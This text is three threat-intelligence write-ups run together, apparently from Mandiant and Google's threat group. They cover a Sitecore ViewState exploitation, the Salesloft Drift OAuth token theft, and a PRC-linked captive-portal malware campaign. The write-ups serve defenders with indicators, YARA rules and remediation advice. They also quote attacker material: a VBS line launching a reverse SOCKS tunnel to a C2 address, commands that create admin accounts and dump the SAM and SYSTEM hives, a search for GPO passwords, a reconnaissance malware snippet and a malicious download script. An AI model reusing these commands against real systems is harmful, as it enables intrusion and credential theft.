Mandiant Threat Intelligence

Written by: Rommel Joven, Josh Fleischer, Joseph Sciuto, Andi Slok, Choon Kiat Ng

Update (September 3): This post was updated to include information about GoTokenTheft usage.

In a recent investigation, Mandiant Threat Defense discovered an active ViewState deserialization attack affecting Sitecore deployments leveraging a sample machine key that had been exposed in Sitecore deployment guides from 2017 and earlier. An attacker leveraged the exposed ASP.NET machine key to perform remote code execution.

Mandiant worked directly with Sitecore to address this issue. Sitecore tracks this vulnerable configuration as CVE-2025-53690, which affects customers who deployed any version of multiple Sitecore products using the sample key exposed in publicly available deployment guides (specifically Sitecore XP 9.0 and Active Directory 1.4 and earlier versions). Sitecore has confirmed that its updated deployments automatically generate a unique machine key and that affected customers have been notified.

Refer to Sitecore’s advisory for more information on which products are potentially impacted. 

Summary

Mandiant successfully disrupted the attack shortly after initiating rapid response, which ultimately prevented us from observing the full attack lifecycle. However, our investigation still provided insights into the adversary's activity. The attacker's deep understanding of the compromised product and the exploited vulnerability was evident in their progression from initial server compromise to privilege escalation. Key events in this attack chain included: 

• Initial compromise was achieved by exploiting the ViewState Deserialization vulnerability CVE-2025-53690 on the affected internet-facing Sitecore instance, resulting in remote code execution.

• A decrypted ViewState payload contained WEEPSTEEL, a malware designed for internal reconnaissance.

• Leveraging this access, the threat actor archived the root directory of the web application, indicating an intent to obtain sensitive files such as web.config. This was followed by host and network reconnaissance.

• The threat actor staged tooling in a public directory which included an:

• Open-source network tunnel tool, EARTHWORM 

• Open-source remote access tool, DWAGENT

• Open-source Active Directory (AD) reconnaissance tool, SHARPHOUND 

• Local administrator accounts were created and used to dump SAM/SYSTEM hives in an attempt to compromise cached administrator credentials. The compromised credentials then enabled lateral movement via RDP.

• DWAgent provided persistent remote access and was used for Active Directory reconnaissance.

Figure 1: Attack lifecycle

Initial Compromise External Reconnaissance

The threat actor began their operation by probing the victim's web server with HTTP requests to various endpoints before ultimately shifting their attention to the /sitecore/blocked.aspx page. This page is a legitimate Sitecore component that simply returns a message if a request was blocked due to licensing issues. The page’s use of a hidden ViewState form (a standard ASP.NET feature), combined with being accessible without authentication, made it a potential target for ViewState deserialization attacks.

ViewState Deserialization Attack

ViewStates are an ASP.NET feature designed to persist the state of webpages by storing it in a hidden HTML field named __VIEWSTATE. ViewState deserialization attacks exploit the server's willingness to deserialize ViewState messages when validation mechanisms are either absent or circumvented. When machine keys (which protect ViewState integrity and confidentiality) are compromised, the application effectively loses its ability to differentiate between legitimate and malicious ViewState payloads sent to the server.

Local web server (IIS) logs recorded that the threat actor's attack began by sending an HTTP POST request to the blocked.aspx endpoint, which was met with an HTTP 302 "Found" response. This web request coincided with a "ViewState verification failed" message in Windows application event logs (Event ID 1316) containing the crafted ViewState payload sent by the threat actor:

Log: Application Source: ASP.NET 4.0.30319.0 EID: 1316 Type: Information Event code: 4009-++-Viewstate verification failed. Reason: Viewstate was invalid. <truncated> ViewStateException information: Exception message: Invalid viewstate. Client IP: <redacted> User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 PersistedState: <27760 byte encrypted + base64 encoded payload> Referer: Path: /sitecore/blocked.aspx

This demonstrates the threat actor’s knowledge of the server’s machine key, allowing them to craft malicious viewstate requests using tools like the public ysoserial.net project. 

Initial Host Reconnaissance

Mandiant recovered a copy of the server's machine key, which was stored in the ASP.NET configuration file web.config. Mandiant decrypted the threat actor’s ViewState payload using this key and found it contained an embedded .NET assembly named Information.dll. This assembly, which Mandiant tracks as WEEPSTEEL, functions as an internal reconnaissance tool and has similarities to the GhostContainer backdoor and an information-gathering payload previously observed in the wild.

About WEEPSTEEL

WEEPSTEEL is a reconnaissance tool designed to gather system, network, and user information. This data is then encrypted and exfiltrated to the attacker by disguising it as a benign __VIEWSTATE response.

The payload is designed to exfiltrate the following system information for reconnaissance:

// Code Snippet from Host Reconnaissance Function Information.BasicsInfo basicsInfo = new Information.BasicsInfo { Directories = new Information.Directories { CurrentWebDirectory = HostingEnvironment.MapPath("~/") }, // Gather system information OperatingSystemInformation = Information.GetOperatingSystemInformation(), DiskInformation = Information.GetDiskInformation(), NetworkAdapterInformation = Information.GetNetworkAdapterInformation(), Process = Information.GetProcessInformation() }; // Serialize the 'basicsInfo' object into a JSON string JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer(); text = javaScriptSerializer.Serialize(basicsInfo);

Code snippet illustrating WEEPSTELL malware collection functionality

WEEPSTEEL appears to borrow some functionality from ExchangeCmdPy.py, a public tool tailored for similar ViewState-related intrusions. This comparison was originally noted in Kaspersky’s write-up on the GhostContainer backdoor. Like ExchangeCmdPy, WEEPSTEEL sends its output through a hidden HTML field masquerading as a legitimate __VIEWSTATE parameter, shown as follows:

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTcyODc4{AES encrypted + base64 encoded output}" />

Subsequent HTTP POST requests to the blocked.aspx endpoint from the threat actor would result in HTTP 200 "OK" responses, which Mandiant assesses would have contained an output in the aforementioned format. As the threat actor continued their hands-on interaction with the server, Mandiant observed repeated HTTP POST requests with successful responses to the blocked.aspx endpoint.

Establish Foothold

Following successful exploitation, the threat actor gained the NETWORK SERVICE privilege, equivalent to the IIS worker process w3wp.exe. This access provided the actor a starting point for further malicious activities.

Config Extraction

The threat actor then exfiltrated critical configuration files by archiving the contents of \inetpub\sitecore\SitecoreCD\Website, a Sitecore Content Delivery (CD) instance's web root. This directory contained sensitive files, such as the web.config file, that provide sensitive information about the application's backend and its dependencies, which would help enable post-exploitation activities.

Host Reconnaissance

After obtaining the key server configuration files, the threat actor proceeded to fingerprint the compromised server through host and network reconnaissance, including but not limited to enumerating running processes, services, user accounts, TCP/IP configurations, and active network connections.

whoami hostname net user tasklist ipconfig /all tasklist /svc netstat -ano nslookup <domain> net group domain admins net localgroup administrators Staging Directory 

The threat actor leveraged public directories such as Music and Video for staging and deploying their tooling. Files written into the Public directory include:

• File: C:\Users\Public\Music\7za.exe

• Description: command-line executable for the 7-Zip file archiver

• SHA-256: 223b873c50380fe9a39f1a22b6abf8d46db506e1c08d08312902f6f3cd1f7ac3

 

• File: C:\Users\Public\Music\lfe.ico

• Description: An open-source network tunnel tool with SOCKS v5 server, tracked as EARTHWORM

• SHA-256: b3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b

About EARTHWORM

EARTHWORM is an open-source tunneler that allows attackers to create a covert channel to and from a victim system over a separate protocol to avoid detection and network filtering, or to enable access to otherwise unreachable systems.

During our investigation, EARTHWORM was executed to initiate a reverse SOCKS proxy connection back to the following command-and-control (C2) server: 

• 130.33.156[.]194:443

• 103.235.46[.]102:80.

• File: C:\Users\Public\Music\1.vbs

• Description: Attack VBScript: Used to execute threat actor commands, its content varies based on the desired actions.

• SHA-256: <hash varies>

In one instance where the file 1.vbs was retrieved, it contained a simple VBS code to launch the EARTHWORM.

 

Set shell = CreateObject("WScript.Shell") shell.CurrentDirectory = "C:\Users\Public\Music" shell.Run "ufp.exe -s rssocks -d 130.33.156[.]194 -e 443", 1, False Escalate Privileges

Following initial compromise, the threat actor elevated their access from NETWORK SERVICE privileges to the SYSTEM or ADMINISTRATOR level.

This involved creating local administrator accounts and obtaining access to domain administrator accounts. The threat actor was observed using additional tools to escalate privileges.

Adding Local Administrators

• asp$: The threat actor leveraged a privilege escalation tool to create the local administrator account, asp$. The naming convention mimicking an ASP.NET service account with a common suffix $ suggests an attempt to blend in and evade detection.

"C:\Users\Public\Music\helper.exe" "net user asp$ {REDACTED} /add" "C:\Users\Public\Music\helper.exe" "net localgroup administrators asp$ /add"

• sawadmin: At a later stage, the threat actor established a DWAGENT remote session to create a second local administrator account.

net user sawadmin {REDACTED} /add net localgroup administrators sawadmin /add Process Token Theft Attempt

The threat actor was observed executing a binary named GoToken.exe under the context of sawadmin with the following command-line arguments:

GoToken.exe -h GoToken.exe -l GoToken.exe -ah GoToken.exe -t

While Mandiant was unable to recover the GoToken.exe binary from the server, the filename and arguments strongly suggest it is the public Go-based token-stealing tool GoTokenTheft. This tool is designed to execute commands using the security context of other users on a system.

Based on the tool’s available source code, the attacker attempted the following actions:

• h: view the tool's help menu

• l: list all running processes and their associated user tokens to identify targets for impersonation

• ah: execute commands using the tokens of users, excluding system accounts

• t: list all unique user tokens active on the system

Credential Dumping

The threat actor established RDP access to the host using the two newly created accounts and proceeded to dump the SYSTEM and SAM registry hives from both accounts. While redundant, this gave the attacker the information necessary to extract password hashes of local user accounts on the system. The activities associated with each account are as follows:

• asp$

reg save HKLM\SYSTEM c:\users\public\system.hive reg save HKLM\SAM c:\users\public\sam.hive

• sawadmin

reg save HKLM\SYSTEM SYSTEM.hiv reg save HKLM\SAM SAM.hiv Maintain Presence

The threat actor maintained persistence through a combination of methods, leveraging both created and compromised administrator credentials for RDP access. Additionally, the threat actor issued commands to maintain long-term access to accounts. This included modifying settings to disable password expiration for administrative accounts of interest:

net user <AdminUser> /passwordchg:no /expires:never wmic useraccount where name='<AdminUser>' set PasswordExpires=False

 For redundancy and continued remote access, the DWAGENT tool was also installed.

Remote Desktop Protocol 

The actor used the Remote Desktop Protocol extensively. The traffic was routed through a reverse SOCKS proxy created by EARTHWORM to bypass security controls and obscure their activities. In one  RDP session, the threat actor under the context of the account asp$ downloaded additional attacker tooling, dwagent.exe and main.exe, into C:\Users\asp$\Downloads.

File Path

MD5

Description

C:\Users\asp$\Downloads\dwagent.exe

n/a

DWAgent installer

C:\Users\asp$\Downloads\main.exe

be7e2c6a9a4654b51a16f8b10a2be175

Downloaded from hxxp://130.33.156[.]194/main.exe

Table 1: Files written in the RDP session Remote Access Tool: DWAGENT

DWAGENT is a legitimate remote access tool that enables remote control over the host. DWAGENT operates as a service with SYSTEM privilege and starts automatically, ensuring elevated and persistence access. During the DWAGENT remote session, the attacker wrote the file GoToken.exe. The commands executed suggest that the tool was used to aid in extracting the registry hives.

File Path

MD5

Description

C:\Users\Public\Music\GoToken.exe

62483e732553c8ba051b792949f3c6d0

Binary executed prior to dumping of SAM/SYSTEM hives.

Table 2: File written in the DWAgent remote session

Internal Reconnaissance Active Directory Reconnaissance

During a DWAGENT remote session, the threat actor executed commands to identify Domain Controllers within the target network. The actor then accessed the SYSVOL share on these identified DCs to search for cpassword within Group Policy Object (GPO) XML files. This is a well-known technique attackers employ to discover privileged credentials mistakenly stored in a weakly encrypted format within the domain.

nltest /DCLIST:<domain> nslookup <domain-controller> findstr /S /l cpassword \\<domain-controller>\sysvol\dcext.local\policies\*.xml SHARPHOUND

The threat actor then transitioned to a new RDP session using a legitimate administrator account. From this session, SHARPHOUND , the data collection component for the Active Directory security analysis platform BLOODHOUND, was downloaded via a browser and saved to C:\Users\Public\Music\sh.exe. 

Following the download, the threat actor returned to the DWAGENT remote session and executed sh.exe, performing extensive Active Directory reconnaissance.

sh.exe -c all

Once the reconnaissance concluded, the threat actor switched back to the RDP session (still using the compromised administrator account) to archive the SharpHound output, preparing it for exfiltration.

C:\Program Files\7-Zip\7zFM.exe "C:\Users\Public\Music\<number>_BloodHound.zip" Accounts Cleanup

With administrator accounts compromised, the earlier created asp$ and sawadmin accounts were removed, signaling a shift to more stable and covert access methods. 

Move Laterally

The compromised administrator accounts were used to RDP to other hosts. On these systems, the threat actor executed commands to continue their reconnaissance and deploy EARTHWORM. 

On one host, the threat actor logged in via RDP using a compromised admin account. Under the context of this account, the threat actor then continued to perform internal reconnaissance commands such as:

quser whoami net user <AdminUser> /domain nltest /DCLIST:<domain> nslookup <domain-controller> Recommendations

Mandiant recommends following security best practices in ASP.NET, including implementing automated machine key rotation, enabling View State Message Authentication Code (MAC), and encrypting any plaintext secrets within the web.config file. For more details, refer to the following resources:

• ASP.NET Core security topics

• What not to do in ASP.NET, and what to do instead

• Improved ASP.NET view state security and key management

• Code injection attacks using publicly disclosed ASP.NET machine keys

For detailed Sitecore remediation instructions, refer to the official Sitecore advisory SC2025-005.

Indicators of compromise

The following indicators of compromise are available in a Google Threat Intelligence (GTI) collection for registered users.

Accounts

Accounts

Description

asp$

Created account

sawadmin

Created account

h496883

Workstation from the source of the RDP connection

File-Based

MD5

SHA-256

Description

117305c6c8222162d7246f842c4bb014

a566cceaf9a66332470a978a234a8a8e2bbdd4d6aa43c2c75c25a80b3b744307

WEEPSTEEL (Information.dll)

a39696e95a34a017be1435db7ff139d5

b3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b

EARTHWORM (lfe.ico, ufp.exe, ufp.ico)

f410d88429b93786b224e489c960bf5c

n/a

Helper.ico, helper.exe

<hash varies> 

<hash varies> 

1.vbs

be7e2c6a9a4654b51a16f8b10a2be175

n/a

main.exe

62483e732553c8ba051b792949f3c6d0

n/a

GoToken.exe

63d22ae0568b760b5e3aabb915313e44

61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

SharpHound 

Network-Based IP 130.33.156[.]194:443 130.33.156[.]194:8080 103.235.46[.]102:80 Detections

Google Security Operations Enterprise and Enterprise+ customers can leverage the following product threat detections and content updates to help identify and remediate threats. All detections have been automatically delivered to Google Security Operations tenants within the Mandiant Frontline Threats curated detections ruleset. To leverage these updated rules, access Content Hub and search on any of the strings above, then View and Manage each rule you wish to implement or modify.

• Earthworm Tunneling Indicators

• User Account Created By Web Server Process

• Cmd Launching Process From Users Music

• Sharphound Recon

• User Created With No Password Expiration Execution

• Discovery of Privileged Permission Groups by Web Server Process

YARA Rules rule G_Recon_WEEPSTEEL_1 { meta: author = "Mandiant" strings: $v_w = "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=" wide $v_a = "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=" $v_b64_w = "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=" base64wide $v_b64_a = "<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=" base64 $s2 = "Services\\Tcpip\\Parameters" wide $s3 = "GetOperatingSystemInformation" $s4 = "GetSystemInformation" $s5 = "GetNetworkAdapterInformation" $s6 = "GetAllNetworkInterfaces" $s7 = "GetIPProperties" $s8 = "GetPhysicalAddress" $s9 = "GetDomainNameFromRegistry" $c1 = "Aes" fullword $c2 = "CreateEncryptor" fullword $c3 = "System.Security.Cryptography" fullword $c4 = "ToBase64String" fullword $guid = "6d5a95da-0ffe-4303-bb2c-39e182335a9f" condition: uint16(0) == 0x5a4d and ( (all of ($c*) and 7 of ($s*)) or ($guid and (any of ($v*))) ) } rule G_Tunneler_EARTHWORM_1 { meta: author = "Mandiant" strings: $s1 = "free1.2" $s2 = ".//xxx ([-options] [values])*" $s3 = "You can create a lcx_listen tunnel like this :" $s4 = ".//ew -s lcx_listen --listenPort 1080 --refPort 8888" $s8 = "I_AM_NEW_RC_CMD_SOCK_CLIENT" $s9 = "CONFIRM_YOU_ARE_SOCK_TUNNEL" $s11 = "lcx_listen" fullword $s12 = "call back cmd_socks ok" $s13 = "lcx_tran" fullword $s14 = "lcx_slave" fullword $s15 = "rssocks" fullword $s16 = "ssocksd" fullword $s17 = "rcsocksd" fullword $marker1= "earthworm" nocase ascii wide $marker2 = "rootkiter" nocase ascii wide condition: ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or uint32(0) == 0x464c457f or (uint32(0) == 0xBEBAFECA or uint32(0) == 0xFEEDFACE or uint32(0) == 0xFEEDFACF or uint32(0) == 0xCEFAEDFE)) and (4 of ($s*) or all of ($marker*)) } Acknowledgement

We would like to extend our gratitude to the Sitecore team for their support throughout this investigation. Additionally, we are grateful to Tom Bennett and Nino Isakovic for their assistance with the payload analysis. We also appreciate the valuable input and technical review provided by Richmond Liclican and Tatsuhiko Ito.

aside_block

<ListValue: [StructValue([('title', 'Contact Mandiant'), ('body', <wagtail.rich_text.RichText object at 0x3e8da81d9610>), ('btn_text', ''), ('href', ''), ('image', None)])]>

Written by: Austin Larsen, Matt Lin, Tyler McLellan, Omar ElAhdan

Update (August 28)

Based on new information identified by GTIG, the scope of this compromise is not exclusive to the Salesforce integration with Salesloft Drift and impacts other integrations. We now advise all Salesloft Drift customers to treat any and all authentication tokens stored in or connected to the Drift platform as potentially compromised.

On August 28, 2025, our investigation confirmed that the actor also compromised OAuth tokens for the "Drift Email" integration. On August 9, 2025, a threat actor used these tokens to access email from a very small number of Google Workspace accounts. The only accounts that were potentially accessed were those that had been specifically configured to integrate with Salesloft Drift; the actor would not have been able to access any other accounts on a customer's Workspace domain.

In response to these findings and to protect our customers, Google identified the impacted users, revoked the specific OAuth tokens granted to the Drift Email application, and disabled the integration functionality between Google Workspace and Salesloft Drift pending further investigation. We are notifying all impacted Google Workspace administrators. To be clear, there has been no compromise of Google Workspace or Alphabet itself.

We recommend organizations take immediate action to review all third-party integrations connected to their Drift instance, revoke and rotate credentials for those applications, and investigate all connected systems for signs of unauthorized access. 

Salesloft has now engaged Mandiant to assist in their investigation. See Salesloft’s updated advisory for more details.

Introduction 

Google Threat Intelligence Group (GTIG) is issuing an advisory to alert organizations about a widespread data theft campaign, carried out by the actor tracked as UNC6395. Beginning as early as Aug. 8, 2025 through at least Aug. 18, 2025, the actor targeted Salesforce customer instances through compromised OAuth tokens associated with the Salesloft Drift third-party application.

The actor systematically exported large volumes of data from numerous corporate Salesforce instances. GTIG assesses the primary intent of the threat actor is to harvest credentials. After the data was exfiltrated, the actor searched through the data to look for secrets that could be potentially used to compromise victim environments. GTIG observed UNC6395 targeting sensitive credentials such as Amazon Web Services (AWS) access keys (AKIA), passwords, and Snowflake-related access tokens. UNC6395 demonstrated operational security awareness by deleting query jobs, however logs were not impacted and organizations should still review relevant logs for evidence of data exposure.

Based on data available at the time, Salesloft indicated that customers that do not integrate with Salesforce are not impacted by this campaign.

On Aug. 20, 2025 Salesloft, in collaboration with Salesforce, revoked all active access and refresh tokens with the Drift application. In addition, Salesforce removed the Drift application from the Salesforce AppExchange until further notice pending further investigation. This issue does not stem from a vulnerability within the core Salesforce platform.

GTIG, Salesforce, and Salesloft have notified impacted organizations.

Threat Detail 

The threat actor executed queries to retrieve information associated with Salesforce objects such as Cases, Accounts, Users, and Opportunities. For example, the threat actor ran the following sequence of queries to get a unique count from each of the associated Salesforce objects.

SELECT COUNT() FROM Account; SELECT COUNT() FROM Opportunity; SELECT COUNT() FROM User; SELECT COUNT() FROM Case; Query to Retrieve User Data SELECT Id, Username, Email, FirstName, LastName, Name, Title, CompanyName, Department, Division, Phone, MobilePhone, IsActive, LastLoginDate, CreatedDate, LastModifiedDate, TimeZoneSidKey, LocaleSidKey, LanguageLocaleKey, EmailEncodingKey FROM User WHERE IsActive = true ORDER BY LastLoginDate DESC NULLS LAST LIMIT 20 Query to Retrieve Case Data SELECT Id, IsDeleted, MasterRecordId, CaseNumber <snip> FROM Case LIMIT 10000 Recommendations

Given GTIG's observations of data exfiltration associated with the campaign, organizations using Salesloft Drift to integrate with third-party platforms (including but not limited to Salesforce) should consider their data compromised and are urged to take immediate remediation steps.

Impacted organizations should search for sensitive information and secrets contained within the integrated platforms and take appropriate action, such as revoking API keys, rotating credentials, and performing further investigation to determine if the secrets were abused by the threat actor.

Investigate for Compromise and Scan for Exposed Secrets

• Review all third-party integrations associated with an organization's Drift instance (accessible within the Drift Admin settings page).

• Within each integrated third-party application, search for the IP addresses and User-Agent strings provided in the IOCs section below. While this list includes IPs from the Tor network that have been observed to date, Mandiant recommends a broader search for any activity originating from Tor exit nodes.

• Review Salesforce Event Monitoring logs for unusual activity associated with the Drift connection user.

• Review authentication activity from the Drift Connected App.

• Review UniqueQuery events that log executed SOQL queries.

• Open a Salesforce support case to obtain specific queries used by the threat actor.

• Search Salesforce objects for potential secrets, such as:

• AKIA for long-term AWS access key identifiers

• Snowflake or snowflakecomputing.com for Snowflake credentials

• password, secret,key to find potential references to credential material

• Strings related to organization-specific login URLs, such as VPN or SSO login pages

• Run tools like Trufflehog to find secrets and hardcoded credentials.

Revoke and Rotate Credentials

• Within each integrated third-party application, revoke and rotate API keys, credentials. and authentication tokens associated with third-party application integrations with a Drift instance.

• Immediately revoke and rotate any discovered keys or secrets.

• Reset passwords for associated user accounts.

• For Salesforce integrations, configure session timeout values in Session Settings to limit the lifespan of a compromised session.

Harden Access Controls

• Review and Restrict Connected App Scopes: Ensure that applications have the minimum necessary permissions and avoid overly permissive scopes like full access.

• Enforce IP Restrictions on the Connected App: In the app's settings, set the "IP Relaxation" policy to "Enforce IP restrictions."

• Define Login IP Ranges: On user profiles, define IP ranges to only allow access from trusted networks.

• Remove the "API Enabled" Permission: Remove the "API Enabled" permission from profiles and grant it only to authorized users via a Permission Set.

Additional instructions and updates are available on the Salesloft Trust Center and Salesforce advisory. 

Acknowledgments 

We would like to thank Salesforce, Salesloft, and other trusted partners for their collaboration and assistance in responding to this threat.

IOCs 

The following indicators of compromise are available in a Google Threat Intelligence (GTI) collection for registered users.

Indicator Value

Description

Salesforce-Multi-Org-Fetcher/1.0

Malicious User-Agent string

Salesforce-CLI/1.0

Malicious User-Agent string

python-requests/2.32.4

User-Agent string

Python/3.11 aiohttp/3.12.15

User-Agent string

208.68.36.90

DigitalOcean

44.215.108.109

Amazon Web Services

154.41.95.2

Tor exit node

176.65.149.100

Tor exit node

179.43.159.198

Tor exit node

185.130.47.58

Tor exit node

185.207.107.130

Tor exit node

185.220.101.133

Tor exit node

185.220.101.143

Tor exit node

185.220.101.164

Tor exit node

185.220.101.167

Tor exit node

185.220.101.169

Tor exit node

185.220.101.180

Tor exit node

185.220.101.185

Tor exit node

185.220.101.33

Tor exit node

192.42.116.179

Tor exit node

192.42.116.20

Tor exit node

194.15.36.117

Tor exit node

195.47.238.178

Tor exit node

195.47.238.83

Tor exit node

Written by: Patrick Whitsell

In March 2025, Google Threat Intelligence Group (GTIG) identified a complex, multifaceted campaign attributed to the PRC-nexus threat actor UNC6384. The campaign targeted diplomats in Southeast Asia and other entities globally. GTIG assesses this was likely in support of cyber espionage operations aligned with the strategic interests of the People's Republic of China (PRC). 

The campaign hijacks target web traffic, using a captive portal redirect, to deliver a digitally signed downloader that GTIG tracks as STATICPLUGIN. This ultimately led to the in-memory deployment of the backdoor SOGU.SEC (also known as PlugX). This multi-stage attack chain leverages advanced social engineering including valid code signing certificates, an adversary-in-the-middle (AitM) attack, and indirect execution techniques to evade detection.

Google is actively protecting our users and customers from this threat. We sent government-backed attacker alerts to all Gmail and Workspace users impacted by this campaign. We encourage users to enable Enhanced Safe Browsing for Chrome, ensure all devices are fully updated, and enable 2-Step Verification on accounts. Additionally, all identified domains, URLs, and file hashes have been added to the Google Safe Browsing list of unsafe web resources. Google Security Operations (SecOps) has also been updated with relevant intelligence, enabling defenders to hunt for this activity in their environments.

aside_block

<ListValue: [StructValue([('title', 'Webinar: Defending Against Sophisticated and Evolving PRC-Nexus Espionage Campaigns'), ('body', <wagtail.rich_text.RichText object at 0x3e8dad660460>), ('btn_text', 'Register now'), ('href', 'https://www.brighttalk.com/webcast/7451/651182?utm_source=blog'), ('image', None)])]>

Overview

This blog post presents our findings and analysis of this espionage campaign, as well as the evolution of the threat actor’s operational capabilities. We examine how the malware is delivered, how the threat actor utilized social engineering and evasion techniques, and technical aspects of the multi-stage malware payloads. 

In this campaign, the malware payloads were disguised as either software or plugin updates and delivered through UNC6384 infrastructure using AitM and social engineering tactics. A high level overview of the attack chain: 

1. The target’s web browser tests if the internet connection is behind a captive portal;

2. An AitM redirects the browser to a threat actor controlled website;

3. The first stage malware, STATICPLUGIN, is downloaded;

4. STATICPLUGIN then retrieves an MSI package from the same website;

5. Finally, CANONSTAGER is DLL side-loaded and deploys the SOGU.SEC backdoor.

Figure 1: Attack chain diagram

Malware Delivery: Captive Portal Hijack

GTIG discovered evidence of a captive portal hijack being used to deliver malware disguised as an Adobe Plugin update to targeted entities. A captive portal is a network setup that directs users to a specific webpage, usually a login or splash page, before granting internet access. This functionality is intentionally built into all web browsers. The Chrome browser performs an HTTP request to a hardcoded URL (“http://www.gstatic.com/generate_204”) to enable this redirect mechanism.

While “gstatic.com” is a legitimate domain, our investigation uncovered redirect chains from this domain leading to the threat actor’s landing webpage and subsequent malware delivery, indicating an AitM attack. We assess the AitM was facilitated through compromised edge devices on the target networks. However, GTIG did not observe the attack vector used to compromise the edge devices.

Figure 2: Captive portal redirect chain

Fake Plugin Update 

After being redirected, the threat actor attempts to deceive the target into believing that a software update is needed, and to download the malware disguised as a “plugin update”. The threat actor used multiple social engineering techniques to form a cohesive and credible update theme. 

The landing webpage resembles a legitimate software update site and uses an HTTPS connection with a valid TLS certificate issued by Let’s Encrypt. The use of HTTPS offers several advantages for social engineering and malware delivery. Browser warning messages, such as “Not Secure” and “Your connection is not private”, will not be displayed to the target, and the connection to the website is encrypted, making it more difficult for network-based defenses to inspect and detect the malicious traffic. Additionally, the malware payload is disguised as legitimate software and is digitally signed with a certificate issued by a Certificate Authority.

$ openssl x509 -in mediareleaseupdates.pem -noout -text -fingerprint -sha256 Certificate: Data: Version: 3 (0x2) Serial Number: 05:23:ee:fd:9f:a8:7d:10:b1:91:dc:34:dd:ee:1b:41:49:bd Signature Algorithm: sha256WithRSAEncryption Issuer: C=US, O=Let's Encrypt, CN=R10 Validity Not Before: May 17 16:58:11 2025 GMT Not After : Aug 15 16:58:10 2025 GMT Subject: CN=mediareleaseupdates[.]com sha256 Fingerprint=6D:47:32:12:D0:CB:7A:B3:3A:73:88:07:74:5B:6C:F1:51:A2:B5:C3:31:65:67:74:DF:59:E1:A4:E2:23:04:68

Figure 3: Website TLS certificate

The initial landing page is completely blank with a yellow bar across the top and a button that reads “Install Missing Plugins…”. If this technique successfully deceives the target into believing they need to install additional software, they may be more willing to manually bypass host-based Windows security protections to execute the delivered malicious payload.

Figure 4: Malware landing page

In the background, Javascript code is loaded from a script file named “style3.js” hosted on the same domain as the HTML page. When the target clicks the install button “myFunction”, which is located in the loaded script, is executed.

<head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Additional plugins are required to display all the media on this page</title> <script type="text/javascript" src="https[:]//mediareleaseupdates[.]com/style3.js"> </script> </head> <body><div id="adobe update" onclick="myFunction()"...

Figure 5: Javascript from AdobePlugins.html

Inside of “myFunction” another image is loaded to display as the background image on the webpage. The browser window location is also set to the URL of an executable, again hosted on the same domain.

function myFunction() { var img = new Image(); img.src ="data:image/png;base64,iVBORw0KGgo[cut] ... document.body.innerHTML = ''; document.body.style.backgroundImage = 'url(' + img.src + ')'; ... window.location.href = "https[:]//mediareleaseupdates[.]com/AdobePlugins.exe"; }

Figure 6: Javascript from style3.js

This triggers the automatic download of “AdobePlugins.exe” and a new background image to be displayed on the webpage. The image shows instructions for how to execute the downloaded binary and bypass potential Windows security protections.

Figure 7: Malware landing page post-download

When the downloaded executable is run, the fake install prompt seen in the above screenshot for “STEP 2” is displayed on screen, along with “Install” and "Cancel” options. However, the SOGU.SEC payload is likely already running on the target device, as neither button triggers any action relevant to the malware.

Malware Analysis 

Upon successful delivery to the target Windows system, the malware initiates a multi-stage deployment chain. Each stage layers tactics designed to evade host-based defenses and maintain stealth on the compromised system. Finally, a novel side-loaded DLL, tracked as CANONSTAGER, concludes with in-memory deployment of the SOGU.SEC backdoor, which then establishes communication with the threat actor's command and control (C2) server.

Digitally Signed Downloader: STATICPLUGIN

The downloaded “AdobePlugins.exe” file is a first stage malware downloader. The file was signed by Chengdu Nuoxin Times Technology Co., Ltd. with a valid certificate issued by GlobalSign. Signed malware has the major advantage of being able to bypass endpoint security protections that typically trust files with valid digital signatures. This gives the malware false legitimacy, making it harder for both users and automated defenses to detect. 

The binary was code signed on May 9th, 2025, possibly indicating how long this version of the downloader has been in use. While the signing certificate expired on July 14th, 2025 and is no longer valid, it may be easy for the threat actor to re-sign new versions of STATICPLUGIN with similarly obtained certificates.

Figure 8: Downloader with valid digital signature

STATICPLUGIN implements a custom TForm which is designed to masquerade as a legitimate Microsoft Visual C++ 2013 Redistributables installer. The malware uses the Windows COM Installer object to download another file from “https[:]//mediareleaseupdates[.]com/20250509[.]bmp”. However, the “BMP” file is actually an MSI package containing three files. After installation of these files, CANONSTAGER is executed via DLL side-loading.

Filename

Description

Hash

cnmpaui.exe

Canon IJ Printer Assistant Tool

4ed76fa68ef9e1a7705a849d47b3d9dcdf969e332bd5bcb68138579c288a16d3

cnmpaui.dll

CANONSTAGER

e787f64af048b9cb8a153a0759555785c8fd3ee1e8efbca312a29f2acb1e4011

cnmplog.dat

RC4 Encrypted SOGU.SEC

cc4db3d8049043fa62326d0b3341960f9a0cf9b54c2fbbdffdbd8761d99add79

Certificate Subscriber — Chengdu Nuoxin Times Technology Co., Ltd

Our investigation found this is not the first suspicious executable signed with a certificate issued to Chengdu Nuoxin Times Technology Co., Ltd. GTIG is currently tracking 25 known malware samples signed by this Subscriber that are in use by multiple PRC-nexus activity clusters. Many examples of these signed binaries are available in VirusTotal.

GTIG has previously investigated two additional campaigns using malware signed by this entity. While GTIG does not attribute these other campaigns to UNC6384, they have multiple similarities and TTP overlaps with this UNC6384 campaign, in addition to using the same code signing certificates.

1. Delivery through web-based redirects

2. Downloader first stage, sometimes packaged in an archive. 

3. In-memory droppers and memory-only backdoor payloads

4. Masquerading as legitimate applications or updates

5. Targeting in Southeast Asia

